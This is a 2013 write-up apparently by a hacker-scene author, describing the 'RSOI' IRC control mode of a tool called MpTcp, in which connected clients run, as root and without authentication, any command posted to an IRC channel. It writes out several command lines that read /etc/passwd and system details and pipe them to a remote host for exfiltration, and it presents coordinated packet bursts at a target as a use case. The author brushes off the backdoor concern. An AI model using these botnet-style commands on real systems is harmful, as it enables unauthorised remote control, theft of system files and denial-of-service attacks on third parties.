RSOI
Remote System over IRC (and for fun and profit)

Felipe Ecker (Khun) <khun@hexcodes.org>
(**01.01.2013**)

RSOI (Remote system over IRC) is a feature adopted by the MpTcp software (www.hexcodes.org/mptcp.i). This tool executes this action in order to delegate partial use (or total) of resources of a system to a remote entity.

In this document, the action of using RSOI is dependently associated with the use of MpTcp. Therefore, manipulating RSOI here means to use MpTcp directly to implement this action, and nothing more.

MpTcp Tool:

The MpTcp enabled the RSOI (also called Hive Mind) option for external use. This control is managed by an IRC channel, where a central controller through commands given on the arbitrary channel of an IRC server can remotely control all the clients (MpTcp) connected to this channel. This option can only be used through an IRC network, cause MpTcp was developed waiting a communication over an IRC protocol.

Inside this option, the user no more have control over the tool, giving all and all control to one IRC #channel. In other words, using RSOI mode you surrender control of MpTcp and ALL SELF MACHINE to all on IRC #channel, who can manipulate it and use all local resources of host without any authentication.

This option is DANGEROUS, and sometimes can sounds like a backdoor or maybe surrender yourself by remote control. Obviously, i don't care about this idea.
Otherwise, is useful (for example) for:

- To check the limit link of one remote host, where a controller may join many users at a channel, and then with a single shoot to make all the MPTCPs clients at same time responding to this command, triggering packets to a specific target and checking the loading limitations.

- FTP mode, using the IRC channel to management specific files transfer over trusted machines.

- External system control.

Using MpTcp (examples):

*# **mptcp -N <IRC SERVER>***
(If no channel is giving, default #mptcp channel is used)
(If no password is giving, default mptcp0 channel's password is used)

The option above sets MpTcp to enter on IRC Server <IRC_SERVER> on channel *#mptcp* (default). After action, mptcp will NOT accept any command from user, where MpTcp only will responds to commands that arrive from "*<IRC SERVER>*" on *#mptcp*.

If many MpTcp clients are on channel in this moment, then the general controller will be able to control all MPTCPs clients by your self command. Absolutely, all MpTcp will respond to it.

Look:

 # mptcp -N <IRC SERVER> -L Cybers
(#Cybers channel defined on MpTcp connection)

(or)

 # mptcp -N <IRC SERVER> -L Cybers -G pass
(Password "pass" defined to #Cybers channel on MpTcp connection)

After connected to IRC, the channel can send commands to ALL MpTcp clients. These commands need be a specific syntax to differentiate it from normal text typed on channel. MpTcp only understand commands prefixed by syntax:

@!~<space>

Ie, everything that comes after this syntax will say to all MpTcp clients to see this like an execution command. Example (already onto IRC channel):

@!~ mptcp -d hexcodes -Ie

That says to ALL MpTcp clients connected on the channel to send an ICMP Echo Request (Ping) to "hexcoees" host.

Another example. Sounds like a blind query:

@!~ cat /etc/hosts

This command (sent by the #channel) tells to all MpTcp clients run the "cat" command on /etc/passwd file.
The result WILL BE NOT SHOWED on IRC channel.

One more example, and SO MUCH MORE DANGEROUS (...):

@!~ cat /etc/passwd | mptcp -d hexcodes -Tc -p 123

This command (sent by the #channel) tells to all MpTcp clients run a "cat" command on /etc/passwd file and send result to remote host 'hexcodes'. If the 'hexcodes' host is listening on port 123 with MpTcp or Netcat (ie), the content of /etc/passwd file will be transfered.

Conclusion:

So, we don't need spawn a shell, cause we already have one dedicated shell under RSOI mode across the IRC channel, like this:

@!~ ls -al /etc | mptcp -d hexcodes -Tc -p 123

@!~ whoami | mptcp -d hexcodes -Tc -p 123

@!~ uname -a | mptcp -d hexcodes -Tc -p 123

@!~ grep root /etc/passwd | mptcp -d hexcodes -Tc -p 123

Security notes:

MpTcp need superuser privileges (root) for operation and execution. DO NOT use the stick bit to allow root privilegies. This is not recommended and may allow involuntary or agressive DoS/DDoS attacks. The privileged MpTcp use also allows users manipulate the ARP cache table of neighbors on network, or put the system over a remote control.

Disponibility:

MpTcp is available to anyone who wants to know, manipulate, or disassembly the tool. MpTcp is licensed under GPL and can be freely downloaded here:

- **Downloads:** http://www.hexcodes.org/tools/mptcp/downloads/

More discussions or documentation about MpTcp:

- **Mptcp page:** http://www.hexcodes.org/mptcp.i